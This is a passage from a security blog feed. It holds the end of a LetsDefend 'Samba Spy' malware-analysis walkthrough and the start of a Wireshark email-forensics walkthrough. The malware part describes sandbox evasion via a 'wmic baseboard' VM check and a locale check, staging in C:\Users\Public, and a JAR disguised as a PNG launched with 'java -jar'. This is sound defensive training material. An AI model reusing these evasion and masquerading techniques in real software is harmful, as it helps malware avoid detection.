method.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7fab64b70ec166bf4577d655a52e7cc3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the required language for execution&lt;/p&gt;&#xA;&lt;p&gt;This interesting little tidbit that tells us the malware might be targeting Italian systems only, since it only runs when that language is detected. This could be another example of an evasion tactic or might indicate a targeted attack. Let&amp;rsquo;s keep going and see what else we can discover about the malware&amp;rsquo;s capabilities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/23df7438f1624bc341ac11f328fa1846_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-name-of-the-method-responsible-for-extracting-the-prodottozip-file&#34;&gt;What is the name of the method responsible for extracting the Prodotto.zip file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-default-extraction-path-for-the-prodottozip-contents&#34;&gt;What is the default extraction path for the Prodotto.zip contents?&#xA;&lt;/h4&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;re searching for a method used to extract the file &lt;code&gt;Prodotto.zip&lt;/code&gt;. We can identify this function within the &lt;code&gt;extractLibs()&lt;/code&gt; method, which references the file directly on line 50.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/b5fb1648a246a8f19ed8ed96e582ec67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the .zip extraction method&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we can identify the defined extraction path for this &lt;code&gt;.zip&lt;/code&gt; file by checking line 48, where the &lt;code&gt;DestinationPath&lt;/code&gt; variable is defined as &lt;code&gt;C:\Users\Public&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3ad48a51aacf71b8cd14416c14c05660_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the default path for .zip file extraction&lt;/p&gt;&#xA;&lt;p&gt;This is another suspicious behavior that suggests the malware is dropping a second-stage payload. The use of the &lt;code&gt;C:\Users\Public&lt;/code&gt; folder is also a red flag. It&amp;rsquo;s a commonly used directory for malware staging because it acts as a shared location across all user accounts in Windows. In other words, any user on the system can read from and write to this directory, making it a prime location to affect all users on the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3a1844910916f44c1adca3ea6304864b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/5cfa5c61f4675f106c3015886c894ae5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-file-name-does-the-program-look-for-after-extraction-to-run-as-a-jarfile&#34;&gt;What file name does the program look for after extraction to run as a JAR file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-command-is-used-to-execute-the-extracted-jarfile&#34;&gt;What command is used to execute the extracted JAR file?&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, we now need to identify the second-stage JAR file that&amp;rsquo;s executed by the malware. Let&amp;rsquo;s check out the &lt;code&gt;main(String[])&lt;/code&gt; method as a first step. Here, we can see another file extracted from the &lt;code&gt;Prodotto.zip&lt;/code&gt; archive in the same directory: &lt;code&gt;prodotto.png&lt;/code&gt;. This is declared as the &lt;code&gt;jarPath&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/8659c8e166c495c9b9eddd29d0dbca41_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the extracted file&lt;/p&gt;&#xA;&lt;p&gt;This &lt;em&gt;looks&lt;/em&gt; promising — but we&amp;rsquo;re looking for a JAR file, right? Well, this is a little tricky. Take a look at line 32: we can see what appears to be a command executing a JAR file using &lt;code&gt;Runtime.getRuntime().exec()&lt;/code&gt; with the &lt;code&gt;jarPath&lt;/code&gt; variable. Strange!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/448deb2f1a741ddf4a3fb88b5ef271a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the execution command&lt;/p&gt;&#xA;&lt;p&gt;Surprise! This appears to be an example of file type masquerading as described by the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; technique &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1036/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Masquerade File Type (T1036.008)&lt;/em&gt;&lt;/a&gt;. So, the file is named with a &lt;code&gt;.png&lt;/code&gt; extension, but it&amp;rsquo;s actually a &lt;code&gt;.jar&lt;/code&gt; file and is executed using the &lt;code&gt;java -jar&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;While it&amp;rsquo;s a little out of scope for this challenge, we can confirm this behavior by grabbing the file hash of &lt;code&gt;1.jar&lt;/code&gt; from the &lt;em&gt;LetsDefend&lt;/em&gt; VM and pivoting to &lt;em&gt;VirusTotal&lt;/em&gt;. From there, we can check the &lt;em&gt;Relations&lt;/em&gt; tab for &lt;code&gt;Prodotto.zip &amp;gt; prodotto.png&lt;/code&gt; to confirm that the magic byte indicates it&amp;rsquo;s indeed a &lt;code&gt;.jar&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;d like to try it out, you can use the &lt;code&gt;Get-FileHash&lt;/code&gt; command in the VM to calculate the hash of &lt;code&gt;1.jar&lt;/code&gt;, but I&amp;rsquo;ve included it below for convenience:&lt;/p&gt;&#xA;&lt;p&gt;49BBFAC69CA7633414172EC07E996D0DABD3F7811F134EECAFE89ACB8D55B93A&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;505px&#34; data-flex-grow=&#34;210&#34; height=&#34;380&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/c2f48a9c5ecc538b3938711b503842a1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Details of Prodotto.png&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, we can confirm the answer to &lt;strong&gt;Question 5&lt;/strong&gt; is correct: &lt;code&gt;prodotto.png&lt;/code&gt; is indeed a &lt;code&gt;.jar&lt;/code&gt; file. And for &lt;strong&gt;Question 6&lt;/strong&gt;, the command used to execute it is:&lt;/p&gt;&#xA;&lt;p&gt;java -jar C:\Users\Public\Prodotto.png&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/e02a9fd79c755b2d1c72f9a991bd6301_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/8365eb1580cb9a1a5bb07036480760dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-process-is-used-to-check-if-the-system-is-running-in-a-virtual-machine-besides-the-manufacturer-string&#34;&gt;Question 7: What process is used to check if the system is running in a virtual machine (besides the manufacturer string)?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 1&lt;/strong&gt;, where we identified the &lt;code&gt;isRunningInVM()&lt;/code&gt; method that the malware uses to check if it&amp;rsquo;s running in a virtual machine? While we identified the method, we didn&amp;rsquo;t really dig into &lt;em&gt;how&lt;/em&gt; that check occurs.&lt;/p&gt;&#xA;&lt;p&gt;From what we can tell, there are a couple of ways the malware does this. One method is by listing the system manufacturer string using &lt;code&gt;System.getProperty(&amp;quot;os.name&amp;quot;)&lt;/code&gt;, and then comparing it to a list of known virtualization providers (like &lt;em&gt;VMware&lt;/em&gt;, &lt;em&gt;Oracle&lt;/em&gt;, etc.).&lt;/p&gt;&#xA;&lt;p&gt;But this would only return the name of the operating system, like &lt;em&gt;Windows 11&lt;/em&gt;, &lt;em&gt;macOS&lt;/em&gt;, &lt;em&gt;Linux&lt;/em&gt;, etc. So, we&amp;rsquo;re looking for a different method, which we&amp;rsquo;ll find on line 96:&lt;/p&gt;&#xA;&lt;p&gt;wmic baseboard get manufacturer&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/effc482c7eeece4aa405ff0a6d88c7dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying baseboard manufacturer enumeration&lt;/p&gt;&#xA;&lt;p&gt;Using this WMI command in Windows will return the motherboard manufacturer, which the malware compares to a list of &lt;code&gt;vmIndicators&lt;/code&gt; as mentioned above. The idea is that if the execution environment is a VM, it would be reflected in the &lt;em&gt;baseboard manufacturer&lt;/em&gt; string which is pretty clever.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/48f6fe9a2ad06409ac64d6b3f3661679_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-how-many-virtual-machine-vendors-does-the-program-checkfor&#34;&gt;Question 8: How many virtual machine vendors does the program check for?&#xA;&lt;/h3&gt;&lt;p&gt;Now onto the final question! To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we simply need to look at the list of &lt;code&gt;vmIndicators&lt;/code&gt; we talked about in the previous question. If we expand the row on line 80, we&amp;rsquo;ll see the four VM providers the malware checks for — nice job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7d0cc92eef780cfd4debb969952cd4d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the VM providers&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3fe84469be51925b4afdeefb0b0f5a16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/b0260b16c7c62f429ae77fa001e27749_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;em&gt;LetsDefend&lt;/em&gt; for putting together another awesome experience.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great change of pace from my typical endpoint or network forensics investigation walkthroughs. It gave me a chance to explore how &lt;em&gt;Java-based malware&lt;/em&gt; operates, how it uses environmental awareness to evade detection, and how file type masquerading can try to throw us off the trail. Now that we&amp;rsquo;ve gained a better understanding of how this malware behaves, it&amp;rsquo;s time to wrap this investigation.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to keep reverse engineering in the rotation because it&amp;rsquo;s a weak spot for me. This was a great excuse to try a new tool and go hands-on with &lt;strong&gt;Java Decompiler,&lt;/strong&gt; and it&amp;rsquo;s now another tool I&amp;rsquo;ll be keeping in my kit for future malware analysis. The challenge also reinforced how important it is to understand anti-analysis techniques and how adversaries use them to stay hidden. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/samba-spy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Java Decompiler:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://java-decompiler.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Virtualization/Sandbox Evasion: System Checks (T1497.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Masquerading: Masquerade File Type (T1036.008):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1036/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1036/008/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Prodotto.png:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Disclose The Agent Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/</link>
            <pubDate>Sun, 14 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Disclose The Agent Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--disclose-the-agent-challenge-walkthrough&#34;&gt;LetsDefend — Disclose The Agent Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-email-using-wireshark&#34;&gt;Investigating a Suspicious Email Using Wireshark.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/disclose-the-agent&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog looking for a practical guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Disclose the Agent&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a great introduction to investigating network traffic and carving out email-based artifacts using &lt;strong&gt;Wireshark&lt;/strong&gt; — let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We reached the data of an agent leaking information. You have to disclose the agent.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Log file: /root/Desktop/ChallengeFile/smtpchallenge.pcap&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Note: pcap file found public resources.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Got it! We&amp;rsquo;re provided with a PCAP file and need to investigate a malicious insider leaking information. To figure out what&amp;rsquo;s going on, we&amp;rsquo;ll use the network traffic analysis tool &lt;em&gt;Wireshark&lt;/em&gt; to extract email communications, uncover clues within the message contents, and paint the full picture.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is a great opportunity to practice &lt;em&gt;protocol-level analysis&lt;/em&gt;, decode &lt;em&gt;encoded credentials&lt;/em&gt;, and reconstruct &lt;em&gt;file attachments&lt;/em&gt; from raw packet data. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-email-address-of-anns-secret-boyfriend&#34;&gt;Question 1: What is the email address of Ann&amp;rsquo;s secret boyfriend?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and locating the artifact &lt;code&gt;smtpchallenge.pcap&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, what do we do with this? Well, a PCAP file is a network packet capture file containing the packet-level details of a network session. For this challenge, we&amp;rsquo;ll be leveraging &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt; to view the pcap and perform our analysis. Double-click the file to open it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/5b9869aadb99466b34aee4e37ea70115_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Location of the ChallengeFile&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re searching for an email exchange between Ann and a secret boyfriend. For this, we can focus on filtering the Wireshark traffic for the &lt;em&gt;Simple Mail Transfer Protocol (SMTP)&lt;/em&gt; packets. If you&amp;rsquo;re unfamiliar with this protocol, here&amp;rsquo;s some background from the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wireshark Wiki&lt;/em&gt;&lt;/a&gt; that&amp;rsquo;s helpful to know for this challenge:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This protocol is widely use to send e-Mail from the authors mail program to the mail server and between servers too.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Typically, SMTP uses TCP as its transport protocol. The well known TCP port for SMTP traffic is 25.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;SMTP uses &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/MIME_multipart&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MIME_multipart&lt;/a&gt; to transfer attachments&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The idea here is to filter SMTP traffic to review emails that Ann sent. Hopefully, this contains some kind of clue about the identity of her boyfriend. To perform the filtering, simply enter the protocol name &lt;code&gt;smtp&lt;/code&gt; into &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; filtering box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/7ee4e427fb85738edae7e8889d7011a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the filter is applied, search through the traffic to find the first displayed SMTP packet („– 56). Once we&amp;rsquo;ve found it, right-click the line and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt;. This will open up the TCP stream window for us to view the contents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/234b15d59fe9e7fc8ac2947937e48b3a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Packet 56— following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, while interesting, this message stream doesn&amp;rsquo;t contain any spicy details about Ann&amp;rsquo;s affair. Let&amp;rsquo;s try another stream containing another message&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;369px&#34; data-flex-grow=&#34;153&#34; height=&#34;520&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/97d1ae51f53a4d4a6709acb1c5127911_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The contents of TCP Stream 0&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check the next SMTP stream starting with packet number 116. Follow the same process to view the TCP stream.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; 